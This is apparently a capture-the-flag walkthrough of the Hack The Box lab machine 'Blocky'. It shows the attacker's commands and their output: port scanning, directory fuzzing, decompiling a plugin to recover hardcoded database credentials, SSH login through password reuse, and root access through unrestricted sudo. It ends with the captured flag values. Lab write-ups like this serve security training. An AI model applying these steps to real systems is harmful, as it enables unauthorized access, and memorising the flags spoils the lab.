Skip to content

Blocky

Machine Details

Operating System
Linux
Difficulty
Easy
IP Address
10.129.19.166
Platform
Hack The Box ↗
Resolution Summary
  1. Enumerate web directory listing to discover exposed BlockyCore.jar plugin.
  2. Decompile Java plugin to extract hardcoded MySQL credentials.
  3. SSH into target as user ’notch’ exploiting password reuse.
  4. Escalate privileges to root using full sudo permissions (sudo -i).
Resolution Summary (Alternative Path)
  1. Enumerate web directory listing to discover exposed BlockyCore.jar plugin.
  2. Decompile Java plugin to extract hardcoded MySQL credentials.
  3. Log in to PhpMyAdmin using extracted MySQL credentials.
  4. Update WordPress admin password hash directly in the database.
  5. Upload a malicious WordPress plugin to achieve RCE as www-data.
Used tools
  • nmap
  • ffuf
  • jd-gui

Information Gathering

Scanned all TCP ports:

❯ sudo nmap -p- -sS -Pn -n --open -T4 10.129.19.166 -oG ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
25565/tcp open  minecraft

Enumerated open TCP ports:

❯ sudo nmap -p21,22,80,25565 -sCV -Pn -n -T4 10.129.19.166 -oN nmap
PORT      STATE SERVICE   VERSION
21/tcp    open  ftp?
22/tcp    open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp    open  http      Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://blocky.htb
|_http-server-header: Apache/2.4.18 (Ubuntu)
25565/tcp open  minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80 - HTTP (Apache)

Web page is a Wordpress, has a post which talks about a “Under construction” Minecraft server, says a plugin to get telemetry from the players is under development. The author of the post has the name notch.

Webpage Post Author

Fuzzing web service to gather more info.

❯ ffuf -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://blocky.htb/FUZZ -e .php,.html,/,.txt
wiki/                   [Status: 200, Size: 380, Words: 46, Lines: 11, Duration: 58ms]
index.php               [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 4450ms]
wp-content/             [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
wp-login.php            [Status: 200, Size: 2397, Words: 147, Lines: 70, Duration: 82ms]
plugins/                [Status: 200, Size: 745, Words: 36, Lines: 38, Duration: 74ms]
wp-includes/            [Status: 200, Size: 40838, Words: 2372, Lines: 201, Duration: 56ms]
readme.html             [Status: 200, Size: 7413, Words: 760, Lines: 99, Duration: 69ms]
wp-admin/               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 82ms]
phpmyadmin/             [Status: 200, Size: 10327, Words: 492, Lines: 26, Duration: 51ms]

If we navigate the folders we can see that /plugins shows the files inside it.

Webpage Plugins directory listing

griefprevention-1.1... is an open-source plugin, while BlockyCore.jar is a plugin under the development of the creator. We can download it to analyze the code.

For this purpose we will be using jd-gui, just open the file and navigate to the code. Here we will be able to find the root password for MySQL.

JD-GUI MySQL password

We can login into the PhpMyAdmin webservice using this credentials.

Webpage PHPMyAdmin Logged


Exploitation

Reuse of credentials

We can try and reuse the credentials of the Database in order to login as the user who created it, aka, notch.

❯ ssh notch@blocky.htb
notch@blocky.htb's password: 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
notch@Blocky:~$

And we see it’s working, flag is in it’s home.


Privilege Escalation to root

Local Enumeration

As we have it’s password, the first thing we can check are his sudo privileges.

notch@Blocky:~$ sudo -l
[sudo] password for notch: 
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL

We can run any command, as any user.

Privilege Escalation vector

We just need to launch a shell as root.

notch@Blocky:~$ sudo -i
root@Blocky:~# whoami; id
root
uid=0(root) gid=0(root) groups=0(root)

Trophy

User.txt

64c8e61ad7086531ccb5a9899985c2a5

Root.txt

40ebb5d5d27fdec1c68def1221776d0b